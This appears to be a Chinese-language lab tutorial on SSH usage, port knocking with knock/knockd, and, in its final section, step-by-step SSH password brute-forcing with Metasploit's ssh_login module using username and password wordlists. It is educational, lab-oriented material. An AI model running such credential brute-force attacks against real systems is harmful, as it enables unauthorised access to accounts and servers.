实战举例:
一.ssh 192.168.11.136
-
ssh:这是Secure Shell的缩写,代表你正在使用SSH客户端程序来发起一个安全连接。
-
192.168.11.136:这是你想要连接的远程服务器的IP地址
二.ssh user@192.168.11.136
如果你想以特定用户身份登录,可以在命令中包含用户名
三.knock 192.168.11.136 1 2 3 -v
后续对这个端口的访问,必须是指定碰撞成功的ip,很多时候,我们在kali内碰撞,而在物理机外部访问端口,这是不成功的,必须在kali内访问这个端口
这是一个使用knock工具进行端口碰撞的示例。在这个命令中,knock
是用于发送预定义端口序列的命令,192.168.11.136 是目标服务器的IP地址,1 2 3
是发送的端口序列,而 -v
选项用于启用详细输出,显示更多的操作细节。
端口碰撞(Port Knocking)的配置和应用:
-
安装和配置knockd:
- 在服务器上安装knockd服务,这通常涉及到使用包管理器(如apt-get)来安装软件包。
- 配置knockd涉及编辑
/etc/knockd.conf
文件,设置端口序列、超时时间和相关的iptables命令。例如,设置一个打开SSH端口的序列和对应的iptables规则,以及一个关闭端口的序列12。
-
定义端口序列:
- 在
[openSSH]
部分定义一个端口序列来打开SSH端口,例如sequence 7000,8000,9000
。 - 在
[closeSSH]
部分定义一个端口序列来关闭SSH端口,通常是打开序列的逆序,例如sequence 9000,8000,7000
。
- 在
-
设置超时时间和命令:
seqtimeout
设置为5秒,这是等待每个端口敲击的时间。command
指定在成功敲门后执行的命令,例如添加或删除iptables规则来打开或关闭端口。
-
启动knockd服务:
- 使用
systemctl start knockd
或service knockd start
命令启动服务。
- 使用
-
使用knock命令:
-
在客户端,使用
knock
命令发送定义的端口序列到服务器,例如knock
192.168.11.1361 2 3 -v
。
-
四.端口碰撞与ssh
“端口碰撞”(Port Knocking)是一种网络访问控制方法,它通过在目标系统上的一系列预定义的端口上发送特定的数据包序列来触发防火墙规则的更改,从而允许访问原本被防火墙阻止的服务,如SSH。
端口碰撞的工作原理:
-
定义序列:管理员预先定义一个端口序列和/或数据包模式。这个序列是保密的,只有知道这个序列的客户端才能触发端口碰撞。
-
发送序列:客户端按照定义的顺序向目标服务器发送数据包。这些数据包可能会被目标服务器上的端口碰撞守护进程(如knockd)捕获。
-
触发规则:一旦正确的序列被发送,端口碰撞守护进程会根据预定义的规则修改防火墙设置,临时打开一个或多个端口。
-
建立连接:在端口被临时打开后,客户端可以在这个短暂的时间窗口内通过SSH(或其他服务)建立连接。
端口碰撞与SSH结合使用:
端口碰撞通常用于提高SSH服务的安全性。以下是端口碰撞与SSH结合使用的一些步骤:
-
关闭SSH端口:默认情况下,SSH服务监听在端口22上,这是众所周知的,可能会受到攻击。通过端口碰撞,可以关闭这个端口,只有在接收到正确的端口碰撞序列时才打开。
-
配置端口碰撞守护进程:在服务器上安装并配置knockd或其他端口碰撞守护进程,定义端口序列和相应的防火墙规则。
-
修改防火墙规则:设置防火墙规则以拒绝所有对SSH端口的访问,除非端口碰撞序列被正确发送。
-
使用端口碰撞客户端:在客户端使用knock命令或其他工具发送端口碰撞序列。
-
建立SSH连接:一旦端口碰撞序列被正确发送,SSH端口将会短暂开放,此时可以快速建立SSH连接
示例:
假设定义的端口碰撞序列是7000, 8000, 9000,以下是客户端可能执行的命令:
knock 192.168.1.100 7000
knock 192.168.1.100 8000
knock 192.168.1.100 9000
发送完这个序列后,假设服务器上的knockd守护进程配置为在接收到这个序列时打开端口22,客户端可以接着执行:
ssh user@192.168.1.100
五.ssh与MSF
本次MSF使用的公开漏洞编号是CVE-199x-xxxx
执行结果就是正确拿到了ssh账号和密码
结论:这个CVE本质就是做了一件事,拿账号字典,和密码字典进行爆破,对了成功登录
爆破这事随便写个脚本都能爆破
使用Metasploit Framework(MSF)进行SSH爆破的步骤如下
1. 启动MSF控制台
打开终端,启动MSF控制台。
msfconsole
2. 搜索SSH爆破模块
在MSF中搜索可用于SSH爆破的模块。
search ssh brute force
3. 选择和使用爆破模块
选择一个适合的SSH爆破模块并使用它。auxiliary/scanner/ssh/ssh_login
是常用的一个模块。
use auxiliary/scanner/ssh/ssh_login
4. 显示模块信息
info
5. 配置模块选项
配置模块的必要选项,包括目标IP地址、用户名字典和密码字典。
set RHOSTS <target IP>
set USERNAME <username>
set PASS_FILE /path/to/passwords.txt
如果有一个用户名字典,也可以设置:
set USER_FILE /path/to/usernames.txt
6. 执行爆破
开始执行SSH爆破攻击。
exploit